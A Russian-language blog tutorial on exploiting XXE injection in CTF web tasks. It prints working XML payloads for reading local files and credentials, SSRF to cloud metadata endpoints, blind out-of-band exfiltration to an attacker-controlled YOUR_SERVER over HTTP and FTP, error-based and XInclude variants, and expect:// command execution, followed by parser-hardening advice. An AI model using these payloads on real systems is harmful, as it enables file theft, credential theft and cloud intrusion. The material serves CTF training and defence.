Главная / Блог / XXE инъекция в CTF: от файлов до SSRF

12 мин.00

XXE инъекция в CTF: от файлов до SSRF

XXE инъекция в CTF: от файлов до SSRF

На одном из CTF мне попался web-таск, который принимал XML на вход и молча возвращал «Data processed». Классический пейлоад с file:///etc/passwd — тишина. Ни символа в ответе, ни ошибки. Через 40 минут я вытащил флаг через blind XXE с OOB-эксфильтрацией по FTP — параметрические сущности, внешний DTD на своём сервере и mock FTP-листенер, который ловил содержимое файла как пароль. Один уязвимый XML-парсер, три совершенно разных вектора (in-band, OOB, SSRF), и все укладываются в одну категорию — XXE инъекция. Разберём цепочку от первого прочитанного файла до полноценного SSRF на облачные метаданные, включая blind-сценарии, которые на CTF средней сложности встречаются куда чаще стандартных.

Как работает XXE инъекция: механика для CTF

XML External Entity атака эксплуатирует штатную функцию XML-спецификации — внешние сущности. Парсер, встретив директиву <!ENTITY ... SYSTEM "URI"> внутри блока <!DOCTYPE>, обязан разрешить URI и подставить результат в документ. URI может быть файлом (file://), HTTP-адресом (http://) или обработчиком протокола вроде php://, expect://, ftp://. По сути, мы просим парсер сходить за данными — а он послушно идёт. Подробнее — в нашем подробном разборе пентест веб-приложений.

Корневая причина XXE уязвимости — CWE-611 (Improper Restriction of XML External Entity Reference): парсер обрабатывает XML-документ с сущностями, URI которых разрешаются за пределами предполагаемой зоны контроля. Рядом — CWE-827 (Improper Control of Document Type Definition): парсер не ограничивает ссылки на DTD, и атакующий подключает произвольные определения типов.

В терминологии MITRE ATT&CK эксплуатация XXE покрывает несколько техник одновременно: Exploit Public-Facing Application (T1190) — сама точка входа, Data from Local System (T1005) — чтение файлов, File and Directory Discovery (T1083) — разведка файловой системы, Credentials In Files (T1552.001) — извлечение секретов из конфигов, Cloud Instance Metadata API (T1552.005) — когда XXE перерастает в SSRF на облачные метаданные.

По OWASP Top 10 2021 XXE попадает под A05 (Security Misconfiguration) и A03 (Injection). При развитии атаки в SSRF добавляется A10 (Server-Side Request Forgery). На CTF задания часто маркируются по OWASP-категориям, так что знание классификации — не абстракция, а подсказка к вектору.

Классическая XXE уязвимость: чтение локальных файлов

Базовый пейлоад для чтения файлов

Стандартная ситуация на CTF: приложение принимает XML, парсит и возвращает значение одного из тегов в HTTP-ответе. Задача — определить, какой тег отражается, и подставить ссылку на внешнюю сущность.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
  <value>&xxe;</value>
</data>

Парсер разрешает &xxe; — подставляет содержимое /etc/passwd в тег <value>, приложение отдаёт результат в HTTP-ответе. Это in-band XXE: данные видны напрямую. Если приложение ожидает конкретный тег (<title>, <username>, <productId>), сущность нужно подставлять именно в него. Определить нужный тег на CTF можно фаззингом — отправить XML с произвольным тегом и посмотреть, какое имя парсер «проглотит» и отразит в ответе.

Три слеша в file:///etc/passwd — не опечатка. Первые два — часть схемы file://, третий — начало абсолютного пути. Без этого парсер полезет искать файл относительно текущей директории, и вы получите не то, что хотели (или ничего).

Какие файлы читать на CTF

/etc/passwd — только отправная точка. Флаг там почти никогда не лежит. Вот набор целей, который стоит проверять через XXE инъекцию на каждом таске:

Системная информация: /etc/hostname, /proc/version, /etc/issue определяют ОС и версию. /proc/self/cmdline покажет команду запуска текущего процесса — оттуда извлекается путь к приложению. /proc/self/environ содержит переменные окружения процесса: пароли, токены и часто сам флаг в переменной FLAG или SECRET.

Исходный код: /proc/self/cwd/app.py, /proc/self/cwd/index.php, /proc/self/cwd/server.js — путь через виртуальную файловую систему /proc. По данным GoSecure workshop, /proc/self/cwd/ работает как аналог ./ и часто обходит фильтры на относительные пути. Конфиги приложения: /proc/self/cwd/config.yaml, /proc/self/cwd/.env, /proc/self/cwd/application.properties.

Сетевая разведка: /etc/hosts и /etc/resolv.conf покажут внутреннюю DNS-инфраструктуру — без этого дальнейший SSRF будет стрельбой вслепую. /proc/self/net/dev содержит сетевые интерфейсы с внутренними IP-адресами.

Секреты: /root/.ssh/id_rsa, /home/user/.bash_history, ~/.aws/credentials. На CTF флаг чаще всего в /flag.txt, /flag, /home/ctf/flag или в переменных окружения.

PHP-враппер для чтения исходников

Если сервер на PHP и вы читаете .php-файл, XML-парсер подавится на тегах <?php — они выглядят как XML processing instruction и ломают документ. Решение: враппер php://filter/read=convert.base64-encode/resource=index.php в качестве URI сущности. Парсер получает base64-строку без спецсимволов, вы декодируете на своей стороне через echo "СТРОКА" | base64 -d. Приём работает не только для XXE — та же техника применяется при LFI.

Бизнес-логика атаки: зачем это злоумышленнику

На CTF цель — флаг. В реальном мире XXE инъекция — полноценный initial access вектор. Чтение конфигурационных файлов даёт Credentials In Files (T1552.001): пароли к базам данных, API-ключи, приватные SSH-ключи. Извлечённые креденшелы открывают путь к lateral movement через Exploitation of Remote Services (T1210). SSRF через XXE позволяет сканировать внутреннюю сеть и обращаться к сервисам за файрволом. Короче — одна XXE может раскрутиться в полноценный compromize.

Пример из реальной жизни: CVE-2018-1000838 — уязвимость в Autopsy (инструмент цифровой форензики от Sleuth Kit, версии до 4.9.0) с вектором CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. Уязвимый XML-парсер CaseMetadata позволял через специально сформированный файл метаданных получить доступ к локальным файлам и выполнить SSRF. Ирония: инструмент для расследования инцидентов сам стал вектором атаки. EPSS — 0.0250 (84-й перцентиль). CVE-2019-0340 (SAP Enable Now до версии 1902, CWE-611) — аналогичный сценарий: XXE через загрузку файлов позволяла читать локальные файлы сервера.

SSRF через XXE: от localhost до облачных метаданных

Когда XXE уязвимость подтверждена чтением файлов, следующий шаг — SSRF. Вместо file:// используем http:// в URI сущности. Пейлоад <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin"> заставит парсер выполнить HTTP-запрос на localhost от имени сервера. Если значение тега отражается в ответе — мы видим содержимое внутреннего сервиса.

На CTF это типичный двухэтапный таск: внешний сервис уязвим к XXE, а флаг лежит на внутреннем сервисе, доступном только с 127.0.0.1. Проверяйте стандартные порты: http://127.0.0.1:8080, http://localhost:3000, http://172.17.0.1:5000 (Docker bridge). Если содержимое не отражается напрямую — это blind SSRF, но последствия всё равно бывают критическими.

В облачных средах SSRF через XXE раскрывается полностью — техника Cloud Instance Metadata API (T1552.005). Для AWS IMDS v1 обращение к http://169.254.169.254/latest/meta-data/iam/security-credentials/ вернёт временные AWS-ключи. Для GCP: http://metadata.google.internal/computeMetadata/v1/. На CTF облачные сценарии встречаются в тасках повышенной сложности, на bug bounty — это один из самых импактных векторов XXE. Утянул ключи от IAM-роли — и ты уже внутри облака.

Примеры реальных CVE с SSRF-компонентом: CVE-2019-12153 (CWE-918) — отсутствие валидации в HTML-парсере RealObjects PDFreactor до версии 10.1.10722, SSRF через вредоносный HTML. Рядом — CVE-2019-12154 (CWE-611) — XXE в XML-парсере того же PDFreactor, раскрытие локальных файлов и DoS.

Blind XXE: когда сервер молчит

Детектирование через OOB-канал

На CTF средней и высокой сложности in-band XXE встречается редко. Парсер обрабатывает сущность, но результат не отражается — приложение возвращает фиксированный «OK» или «Processed». Это blind XXE, и тут начинается настоящая работа.

Первый шаг — подтвердить, что парсер вообще разрешает внешние сущности. Создаём сущность <!ENTITY xxe SYSTEM "http://YOUR_SERVER/probe"> и слушаем входящие соединения (python3 -m http.server 8888). Пришёл запрос — парсер уязвим, просто не показывает результат. Альтернатива — DNS-канал через Burp Collaborator или Canarytokens: <!ENTITY xxe SYSTEM "http://unique-id.burpcollaborator.net/">. Canarytokens — быстрый способ проверки, когда лень разворачивать инфраструктуру.

OOB-эксфильтрация через внешний DTD

Прямая конкатенация сущностей в одном DOCTYPE запрещена спецификацией — нельзя подставить значение одной сущности в URI другой. Обходной путь (описан исследователями Алексеем Осиповым и Тимуром Юнусовым): вынести конструкцию во внешний DTD-файл на контролируемом сервере. Это ключевая техника blind XXE.

<!-- Отправляем на уязвимый сервер -->
<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % dtd SYSTEM "http://YOUR_SERVER/evil.dtd">
  %dtd;
]>
<data>&send;</data>

<!-- evil.dtd на вашем сервере (YOUR_SERVER) -->
<!ENTITY % all "<!ENTITY send SYSTEM 'http://YOUR_SERVER/?d=%file;'>">
%all;

Что происходит пошагово: парсер загружает evil.dtd с вашего сервера, выполняет параметрическую сущность %all, которая конструирует сущность send с содержимым файла в query string. При разрешении &send; парсер делает HTTP-запрос на ваш сервер. В логах HTTP-листенера появится GET /?d=ctf-web-01. Данные извлечены без единого символа в ответе приложения.

Ограничение HTTP-канала: многострочные файлы ломают URL из-за переносов строк. Решение — FTP-протокол: в evil.dtd замените URI на ftp://test:%file;@YOUR_FTP_SERVER/. Содержимое файла уйдёт как FTP-пароль. По данным GoSecure workshop, для приёма хватит mock FTP-сервера, который отвечает минимально достаточно для записи пароля — полноценный FTP не нужен. На практике я использую однофайловый Python-скрипт на 30 строк.

Error-based XXE через локальные DTD

Если исходящие соединения заблокированы файрволом (частый сценарий на CTF с жёстким окружением), OOB не сработает. Но если парсер выбрасывает XML-ошибки в ответ — можно использовать error-based XXE. Идея: спровоцировать ошибку парсинга, в текст которой попадёт содержимое файла.

Нужен локальный DTD, уже присутствующий на сервере. На Linux почти всегда есть /usr/share/xml/docbook/schema/dtd/4.5/docbookx.dtd или аналоги в /usr/share/yelp/dtd/. Переопределяем сущность из этого DTD так, чтобы при ошибке в текст сообщения попали данные целевого файла. Парсер выбрасывает что-то вроде «file not found: /nonexistent/СОДЕРЖИМОЕ_ФАЙЛА» — и данные прилетают прямо в сообщении об ошибке. Техника работает даже на парсерах с заблокированными исходящими соединениями. Если не знаешь, что на типовом Linux-сервере лежит docbookx.dtd — застрянешь надолго, и я видел, как команды теряли на этом часы.

XXE через нестандартные точки входа в CTF

XInclude атака без контроля над DOCTYPE

Не всегда на CTF контролируется весь XML-документ. Если ваш ввод вставляется в один тег серверного XML (например, в SOAP-запрос), задать <!DOCTYPE> нельзя. Решение — XInclude, стандартный механизм XML для включения поддокументов. Пейлоад <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo> передаётся как значение одного поля формы. XInclude работает в ситуациях, где классическая DTD инъекция невозможна — вы контролируете только один элемент данных.

DTD инъекция через загрузку файлов

DOCX, XLSX, PPTX — это ZIP-архивы с XML внутри. SVG — чистый XML. Если на CTF есть загрузка аватарки, резюме или таблицы — проверяйте на XXE. Для SVG: оборачиваем DOCTYPE с внешней сущностью в валидный SVG и используем тег <text> для вывода. Для XLSX: распаковываем архив, вставляем DTD инъекцию в [Content_Types].xml или xl/sharedStrings.xml, запаковываем обратно. CVE-2019-0340 (SAP Enable Now) — пример этого вектора в production-приложении.

Для автоматизации создания вредоносных XLSX есть инструмент XXElixir — полезно, когда на CTF нет времени возиться с ручной упаковкой.

Подмена Content-Type для активации XML-парсера

API на Spring Boot, Express и аналогичных фреймворках часто поддерживают несколько форматов. JSON API может переключиться на XML-парсер при отправке заголовка Content-Type: application/xml вместо application/json. Проверяется за секунды через Burp Suite: перехватываете запрос, меняете Content-Type и тело на XML с DTD инъекцией. Если сервер не вернул ошибку формата — парсер активирован. Этот вектор регулярно приносит находки на bug bounty, потому что разработчики не осознают, что их фреймворк поддерживает XML «из коробки». На CTF я проверяю это первым делом, если вижу JSON API.

RCE через expect://

На серверах с PHP-модулем expect враппер expect://id в URI сущности выполнит системную команду. Пейлоад <!ENTITY xxe SYSTEM "expect://whoami"> вернёт имя пользователя веб-сервера. Модуль expect в продакшене — редкость, но на CTF-стендах встречается намеренно. Проверить стоит всегда: если сработает — это RCE из одной XML-сущности. Из чтения файлов сразу в выполнение команд, без промежуточных шагов.

Защита от XXE атак: настройка уязвимых XML парсеров

Понимание защиты нужно CTF-игроку по двум причинам: распознать, что именно обходить на таске, и для общего развития в offensive security. Главный принцип — отключить обработку внешних сущностей и DTD на уровне парсера.

// Java — DocumentBuilderFactory (основной источник XXE в enterprise)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setExpandEntityReferences(false);
// Python lxml: etree.XMLParser(resolve_entities=False, no_network=True)
// PHP 8.0+: безопасен по умолчанию. НЕ передавайте LIBXML_NOENT в loadXML()

Java DocumentBuilderFactory — самый частый источник XXE уязвимости. В старых версиях внешние сущности были включены по умолчанию. Флаг disallow-doctype-decl запрещает DOCTYPE целиком — самый жёсткий и надёжный вариант. Python xml.etree.ElementTree безопасен по умолчанию, но lxml требует явного resolve_entities=False. В PHP 8.0+ внешние сущности отключены, однако передача флага LIBXML_NOENT в loadXML() снова их включает — классическая ошибка разработчиков, копирующих код из устаревших туториалов на StackOverflow.

XXE остаётся актуальной не потому, что парсеры уязвимы по умолчанию в современных версиях. Проблема — legacy-код, устаревшие библиотеки и явное включение опасных функций. Вызов setFeature("http://xml.org/sax/features/external-general-entities", true) реально встречается в production-коде. Я такое видел не раз.

Практический чеклист: эксплуатация XXE на CTF

Систематический подход экономит время на соревнованиях. Порядок действий при обнаружении XML-точки входа:

Шаг 1 — найти точку входа. Очевидные: Content-Type: application/xml, SOAP-эндпоинты. Скрытые: загрузка файлов (SVG, DOCX, XLSX), подмена Content-Type с application/json на application/xml.

Шаг 2 — проверить in-band XXE. Пейлоад с file:///etc/passwd в каждый тег, который отражается в ответе. Для PHP — php://filter/read=convert.base64-encode/resource= для чтения исходников без ошибок парсинга.

Шаг 3 — проверить blind XXE. Если in-band не дал результата — сущность с URI на свой сервер. Пришёл запрос — парсер разрешает внешние сущности, работаем с OOB.

Шаг 4 — выбрать канал эксфильтрации. HTTP OOB для однострочных данных, FTP для многострочных файлов, error-based если исходящие соединения заблокированы.

Шаг 5 — эскалация. SSRF на http://127.0.0.1 для внутренних сервисов, облачные метаданные (169.254.169.254), чтение /proc/self/environ для переменных окружения.

Шаг 6 — нестандартные векторы. XInclude если нет контроля над DOCTYPE, SVG/DOCX если есть загрузка файлов, expect:// если PHP с соответствующим модулем.

На каждом шаге проверяйте не только file://, но и http://. Даже если чтение файлов заблокировано, SSRF через XXE может открыть альтернативный путь к флагу. По формуле на бумаге всё просто, но OOB-эксфильтрация по-настоящему ощущается только на практике — на HackerLab.pro есть задачи в категории web, где нужно собрать blind XXE цепочку от нуля до флага без подсказок.

Большинство writeup'ов по XXE на CTF заканчиваются на file:///etc/passwd — и это формирует ложное ощущение, что XXE инъекция исчерпывается чтением одного файла. За последние пару лет на соревнованиях заметно выросло количество тасков, где in-band вариант заблокирован, а единственный путь к флагу — blind XXE через OOB с параметрическими сущностями. Error-based техника через локальные DTD появляется на CTF высокого уровня как отдельная проверка навыков.

Отдельно про разрыв между CTF и реальными проектами. На CTF вы работаете с намеренно уязвимыми парсерами, где disallow-doctype-decl не выставлен. В production Java-приложениях ситуация аналогичная чаще, чем кажется: разработчики копируют код из ответов StackOverflow десятилетней давности, где DocumentBuilderFactory создаётся без единого setFeature. PHP 8.0+ закрыл проблему по умолчанию, Python xml.etree тоже безопасен — но lxml без resolve_entities=False уязвим, а именно lxml используется в большинстве серьёзных Python-проектов для работы с XML. Если хочешь не просто решать CTF-таски, а пройти цепочку XXE → SSRF → credential access на реальных стендах — на WAPT эту механику проходят в двух модулях с лабами.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Race Condition в CTF: эксплуатация гонки на практике

13 мин.

6

Race Condition в CTF: эксплуатация гонки на практике

TOCTOU, single-packet attack и Turbo Intruder для эксплуатации race condition в CTF. Writeup PortSwigger и m0leCon, скрипты, реальные CVE и чек-лист поиска.

18 ОКТЯБРЬ, 2026

Ghidra для начинающих: решаем crackme без кода

12 мин.

6

Ghidra для начинающих: решаем crackme без кода

Пошаговый разбор crackme в Ghidra: от команды file до извлечения XOR-ключа из декомпилятора. Контрольные точки на каждом шаге анализа бинарника.

18 ОКТЯБРЬ, 2026

Pwntools для начинающих: первый эксплойт CTF

12 мин.

4

Pwntools для начинающих: первый эксплойт CTF

Пошаговый разбор ret2win эксплойта на pwntools: checksec, cyclic, p64, GDB-отладка. Код, команды и типичные ошибки — всё для первого pwn-таска на CTF.

17 ОКТЯБРЬ, 2026